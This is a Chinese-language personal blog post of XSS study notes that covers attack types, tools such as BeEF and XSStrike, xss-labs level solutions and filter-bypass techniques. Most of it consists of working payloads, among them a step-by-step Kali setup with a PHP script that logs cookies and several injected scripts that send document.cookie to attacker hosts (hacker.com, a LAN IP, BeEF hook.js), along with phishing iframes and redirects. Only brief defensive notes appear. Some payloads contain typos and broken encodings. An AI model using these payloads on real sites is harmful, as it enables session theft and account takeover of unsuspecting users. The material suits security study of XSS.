XSS学习笔记(未完)

1. XSS

  1. XSS的核心要求是构造出能够让前端执行的javascript代码,所以要求我们对javascript代码必须熟悉;
  2. XSS也算是注入类的漏洞,JavaScript的代码注入,所以XSS漏洞更主要是去攻击系统的用户,而不是系统本身;
  3. 注意闭合。

1.1 客户端Cookie:

第一次访问:
客户端请求页面
服务端响应,响应头中有set-Cookie:字段,为客户端设置Cookie
浏览器将Cookie进行存储(磁盘或内存)
之后的访问:
客户端携带Cookie进行访问

1.2 XSS攻击类型

  1. 反射型
  2. 存储型
  3. DOM型

1.3 工具/平台

  1. 扫描工具:XSSTrike
    下载地址:https://github.com/s0md3v/XSStrike
  2. 抓包工具:burpsuit(用target模块)
  3. XSS平台工具:beef xss
  4. XSS在线平台
    https://www.xssye.com/auth/login
    https://xsshs.cn/xss.php?do=project&act=viewcode&ty=create&id=54895
  5. 靶场:xss-labs
    下载地址:https://github.com/do0dl3/xss-labs

1.4 利用方式

1.4.1 非手工方式

  1. xss平台。利用该平台获取受害者的cookie等信息;
    https://xsshs.cn/xss.php?do=project&act=viewcode&ty=create&id=54895

  2. postman管理。利用xss平台获取到cookie值后,用postman软件输入url和cookie值后可直接对后台管理;

  3. 使用beef。在kali开启beef服务,浏览器登录beef,将显示信息中的例子输入到受害者输入框中,beef页面中可得到对方的类似shell的权限,相当于上传了一个马。
    登录页面(kali机):http://192.168.161.131:3000/ui/panel
    例子为:<script src="http://192.168.161.131:3000/hook.js"></script>

  4. XSSstrike工具

1.4.1.1自动化攻击:beef

操作步骤:

  1. 在kali中启动beef-xss
  2. 浏览器访问
  3. 将显示信息中的例子输入到受害者输入框中,页面中可得到对方的类似shell的权限,相当于上传了一个马。
    例子为:<script src="http://192.168.161.131:3000/hook.js"></script>
  4. 在beef后台可看到已中招的IP地址
  5. 在命令栏中进行各种命令操作

1.4.2 手工方式

获取cookie: 渗透机 Kali Linux端操作

  1. 构建收集cookie服务器
  2. 构造XSS代码并植入到web服务器
  3. 等待肉鸡触发XSS代码并将cookie发送到Kali
  4. Cookie利用

渗透步骤:
第一步:编写文件

root@kali:~#vim /var/www/html/cookie_rec.php

cookie_rec.php内容

<?php
    $cookie = $_GET['cookie'];
    $log = fopen("cookie.txt","a");
    fwrite($log, $cookie . "\n");
    fclose($log);
?>

第二步:提升目录权限

root@kali:~#chown -R www-data.www-data /var/www/

第三步:通过渗透机植入XSS代码
在XSS存储型处植入下列代码:

<script>
    window.open('http://192.168.161.131/cookie_rec.php?cookie='+document.cookie);
</script>

PS1:192.168.161.131为kali Linux IP
PS2:先清除之前植入的XSS代码

第四步:客户机访问代码植入的位置
第五步:cookie收集

root@kali:~#cat /var/www/html/cookie.txt

查看是否成功收集Cookie

1.5 XSS一些常用代码

常用HTML标签:

<iframe>			iframe标签会创建包含另外一个文档的内联框架(即行内框架)。
<textarea>			<textarea>标签定义多行的文本输入控件。
<img>				img标签向网页中嵌入一幅图像。
<script>			<script>标签用于定义客户端脚本,比如JavaScript。
script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件,
必需的type属性规定脚本的MIME类型。
JavaScript的常见应用时图像操作、表单验证以及动态内容更新。

常用javascript方法:

Alert:				alert()方法用于显示带有一条指定消息和一个确认按钮的警告框
window.location:	window.location对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面。
location.href:		Location.href返回当前显示的文档的完整 URL
onload:			—张页面或一幅图像完成加载
onsubmit:			确认按钮被点击
onerror:			在加载文档或图像时发生错误

1.6 构造XSS脚本

  1. 探测过滤字符
<sCr<scrscRiptipt>ipt>OonN\&apos;"< >	//万能paload,上传之后看输出是否过滤字符
<script"'Oonn>		//试探,看是否过滤
  1. 弹框警告:
    此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号’,一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤,这样就可以证明,这个页面位置存在了XSS漏洞。
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>	<!--弹出用户cookie-->
  1. 页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
  1. 页面重定向
<script>window.location="http://www.qfedu.com"</script>
<script>location.href="http://www.baidu.com"</script>
  1. 弹窗警告并重定向
<script>alert("请移步到我们的新站");location.href="http://www.qfedu.com"</script>
<script>alert("xss");location.hret="http://10.1.64.35/mutillidae/rebots.txt"</script>

这里结合了一些社工的思路,例如:通过网站内部私信的方式将其发给其他用户;如果其他用户点击并相信了这个信息,则可能在另外的站点重新登录账户(克隆网站收集账户)

  1. 访问恶意代码
<script src="http://www.qfedu.com/xss.js"></script>
<script src="http://BeEF_IP:3008/hook.js"></script>		<!--结合BeEF收集用户的cookie-->
  1. 巧用图片标签
<img src="#" onerror=alert ('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>
  1. 绕开过滤的脚本
    大小写<ScrIpt>alert( 'xss')</SCRipt>字符编码采用URL、Base64等编码
<a href="&8#106;8#97;8#118;&#97;&#115;&#99;&#114;8#105;&#112;8#116;8#58;&#97;8#108;8#101;8#114;8#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">yangge</a>

注意:页面参数可能不止一个,可以尝试各参数以求能够实现xss](注意:页面参数可能不止一个,可以尝试各参数以求能够实现xss

  1. 收集用户cookie
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://w.hacker.com/cookie.php?cookie="document.cookie</script>
<script>new Image().src="http://w.hacker.com/cookie.php?cookie="+docyment.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>
	new Image().src="http://ww.hacker.com/cookie.php?cookie='+document.cookie";
	img.width = 0;
	img.height = 0;
</script>

攻击者服务器用PHP+数据库收集cookie

<?php
$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $GET['url'];
$cookie = $_GET['cookie'];
$conn = new mysqli('127..0.1','root','123456','learn' ) or die("数据库连接不成功.");
$conn->set_charset("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values ('$ipaddr','$url','$cookie',now())";
$conn->query($sql);
// echo "<script>history.back();<lscript>";
echo "<script>location.href='http://www.woniunote.com/'<script>";	//完成后跳转页面,相当于打广告
?>

1.7 防御手段

(1)做实体字符编码,htmlspecialchars()
(2)正则表达式或字符串判断,等

若限制只能使用http://或https://,则可使用实体字符转换(16进制或10进制),以分号结束前一句,后跟http://或https://

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;http://

1.8 xss-labs练习笔记

1、payload:<script>alert(1)</script>			
2、payload:1"><ScRipt>alert(1)</ScRipt>				//闭合,大小写绕过	
3、payload:' onclick ='javascript:alert(3)'//			//使用了htmlspecialchars方法,需要避开新标签的使用
4、payload:"onclick ="javascript:alert(4)
5、payload:"><a href='javascript:alert(5)'>xss</a>		//script过滤了,onclick也过滤了
6、payload:"><a hREf='javascript:alert(6)'>xss</a>		//闭合,大小写绕过
7、payload:" oonnmouseover="alert(7)					//闭合,双写绕过
8、payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#56;&#41;
			//javascript:alert(8),过滤了"<>script,导致不能完成闭合,故不修改标签,利用编码进行传参
9、payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#57;&#41;//http://
			//javascript:alert(9)//http://,使用了正则表达式,限制只能使用http://或https://
10、payload:&t_sort=" type='text' οnmοuseοver='javascript:alert(10)'>//		//请求参数不止一个,可以进行挨个试探
11、payload:Referer:" type='text' οnmοuseοver='javascript:alert(11)'>//		//试探可用参数,得知为referer,抓包改referer值
12、payload:User-Agent: " οnmοuseοver="javascript:alert(12)" type="text		//试探可用参数,得知为User-Agent,抓包改User-Agent值
13、payload:Cookie: user=" οnmοuseοver="javascript:alert(13)" type="text		//试探可用参数,得知为Cookie,抓包改Cookie值,必须保留user=,否则不能传参
15、payload:'http://localhost/xss-labs/level1.php?name=<img src=1 onerror=alert(15)>'		//使用了ng-include属性,属性值可以是表达式,还可以是包含在同一域名下的文件
16、payload:<img%0Asrc=1%0Aοnerrοr=alert(1)>		//过滤了空格,用%0A代替
17、payload:οnmοusedοwn='alert(1)'		//需要flash插件才能触发,οnmοuseοver='alert(1)'也行
			//http://localhost/xss-labs/level17.php?arg01=a&arg02=b οnmοusedοwn='alert(1)'
18、payload:οnmοuseοver='alert(1)'
			//http://localhost/xss-labs/level17.php?arg01=a&arg02=b οnmοuseοver='alert(1)'
19、payload:?arg01=version&arg02=<a href="javascript:alert(1)">123</a>	//Flash xss,涉及反编译,暂时搞不懂
			//http://localhost/xss-labs/level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a>
	<!--
	Flash xss参考链接
	https://blog.csdn.net/u014029795/article/details/103213877		//第19关详解
	https://blog.csdn.net/weixin_30702413/article/details/99326627	//Flash xss简述
	-->
20、payload:?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123	<!--跟上述一样-->
			//https://blog.csdn.net/u014029795/article/details/103217680

2. 常规注入代码

2.1 标签或字符闭合

//<script>
<script>alert(/xss/)</script><script>alert('xss')</script>
"> <script>alert('xss')</script> <"			//标签闭合
<img src=1 onerror=alert ("xss")>
//<input>
<input onfocus="alert('xss')">		
<input οnblur=alert("xss") autofocus><input autofocus>		//竞争焦点,从而触发onblur事件
<input onfocus="alert('xss')" autofocus>	//通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
//<details>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');">		//使用open属性触发ontoggle事件,无需用户去触发
//<svg>
<svg οnlοad=alert("xss");>
//<select>
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>		//通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
//<iframe>
<iframe οnlοad=alert("xss");></iframe>
//<video>
<video><source onerror="alert(1)">
//<audio>
<audio src=x  οnerrοr=alert("xss");>
//<body>
<body/οnlοad=alert("xss");>
//<textatea>
<textarea οnfοcus=alert("xss"); autofocus>
//<keygen>
<keygen autofocus onfocus=alert(1)>	 //仅限火狐
//<matquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
//<isindex>
<isindex type=image src=1 οnerrοr=alert("xss")>//仅限于IE

2.2 事件触发类

//代码位于onclick事件中,此类事件带有onerror, onload, onfocus, onblur, onchange, onmouseover等
onclick		//单击事件
<img src="http://xxx.xxx.jpg" onclick="alert(1)">
onmouseover:	//鼠标移动事件
<img src="http://xxx.xxx.jpg" onmouseover="alert(1)">
<button onclick="alert('你被攻击了')">快来点我</button>	//按钮提交,onclick为单击
' οnmοuseοver='alert(/xss/)'				//闭合标签,鼠标事件

2.3 javascript伪协议

<a href="javascript:alert(1)">xss</a>		//伪协议,跳转链接
<iframe src="javascript:alert('xss')"></iframe>
<img src="javascript:alert('xss')">			//IE7以下
<form action="Javascript:alert(1)"><input type=submit>

2.4 有过滤情况

<img/src="x"/οnerrοr=alert("xss");>	//过滤空格,用/代替空格
<!--过滤关键字-->
<ImG sRc=x onerRor=alert("xss");>	//大小写绕过
<imimgg srsrcc=x οnerrοr=alert("xss");>		//双写关键字
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">	//字符拼接,利用eval
<script>top["al"+"ert"](`xss`);</script>	//字符拼接,利用top

其他字符混淆(编码绕过等)
参考链接:https://blog.csdn.net/qq_50854790/article/details/124055941

2.5 特殊-获取用户cookie等数据的payload

<script>
	new.Image().src="http://10.0.2.15/xssrecv.php?url=" %2B location.href %2B "%26cookie=" %2B document.cookie;
	/*新建一个图像对象,并赋予一个超链接,可在用户不知情中自动加载该超链接
	%2B为+号,%26为&符号,因为php后台将+号等同于空格,&符号后的字符会消失*/
</script>

<iframe src="http://www.xxx.com" width=200,lheight=100/>		//钓鱼技巧,插入内嵌的页面,可通过get请求传参构成钓鱼网站
//例子:
http://localhost/Test/testXSS.php?content=<iframe src="http://www.taobao.com/" width=100% height=100%/>
//涉及Flash的情况
payload:http://192.168.112.188/xss/level19.php?arg01=version&arg02=<a href="javascriptalert(1)">111</a>

<button onclick="alert(document.cookie)">点我有惊喜</button>	//获取当前网页用户cookie
<script>function test() {alert("Hello Test");}</script> <button onclick="test()">快来点我</button>	//创建函数test(),onclick调用test()函数

3. XSS的绕过方式总结

  1. 绕过过滤
(1)前端限制,直接用F12开发者选项修改JS代码或HTML代码可,或者用burpsuite绕过。
(2)字符过滤,双写(onclick ononclickclick),大小写绕过(ONClick),通过注释符绕过(//, /**/),也可以通过换行符绕过(%OA,%0D)。
(3)HTML实体转换:
	//字符实体是用一个编号写入HTML代码中来代替一个字符,在使用浏览器访问网页时会将这个编号解析还原为字符以供阅读。javascript:alert("Hello Woniu")编码为:
	1.十六进制:
		&#x6A;&#x61;&#×76;&#x61;&#×73;&#×63;&#×72;&#x69;&#×70;&#x74;&#×3A; &#×61;&#x6C;&#x65;&#×72;&#×74;&#×28;8&#x22;&#x48;&#x65;&#x6C; &#x6C; &f#x6F ;&#x20;&#×57;&#×6F ;&#x6E ;&#x69;&#x75;&#x22;&#×29;&#×20;
	2.十进制:
		&#106;&#97;&#118;&#97;&8#115;&8#99;&#114;&#105;&4112;&#116;&#58;&#97;&8#108;&#101;&#114;&#116;&#40;&#34;&#72;&#101;&#108;&#108;&#111;&#32;&#87;&#111;&#110;&#105;&#117;&#34;&#41;&#32;
  1. 绕过编码
    明确浏览器解析的机制,明白机制后,选择对应的编码。
  2. 其他技巧
(1)输出在标签间的情况:测试◇是否被过滤或转义,若无则直接<img src=1 onerror=alert(1)>
(2)输出在script标签内:我们需要在保证内部S语法正确的前提下,去插入我们的payload。如果我们的输出在字符串内部,测试字符串能否被闭合。
	如果我们无法闭合包裹字符串的引号,这个点就很难利用了。可能的解决方案:可以控制两处输入且\可用、存在宽字节
(3)输出在HTML属性内:首先查看属性是否有双引号包裹、没有则直接添加新的事件属性;
	有双引号包裹则测试双引号是否可用,可用则闭合属性之后添加新的事件属性;
	TIP:HTML的属性,如果被进行HTML实体编码(形如&#x27),那么HTML会对其进行自动解码,
	从而我们可以在属性里以HTML实体编码的方式引入任意字符,从而方便我们在事件属性里以JS的方式构造payload。
(4)输出在JS中,空格被过滤:使用/**/代替空格(%0A),或者在XSS代码后对其他代码进行注释。+:%2B
(5)输出在JS注释中:设法插入%0A,%0D等,使其逃逸出来。
(6)输出在JS字符串内:可以利用S的十六进制、八进制、unicode编码。
(7)输出在srchreflaction等属性内:可以利用javascriptalert(1),以及data:text/html;base64;加上base64编码后的HTML.
(8)当我们的XSSpayload位于这些标签中间时,并不会解析,除非我们把它们闭合掉。
	1、<textarea></textarea>
	2、<title></title>
	3、<iframe></iframe>
	4、<noscript></noscript>
	5、<noframes></noframes>
	6、<xmp></xmp>
	7、<plaintext></plaintext>

个人学习随记,个中多有不足之处,仅当参考!

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

星空☜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值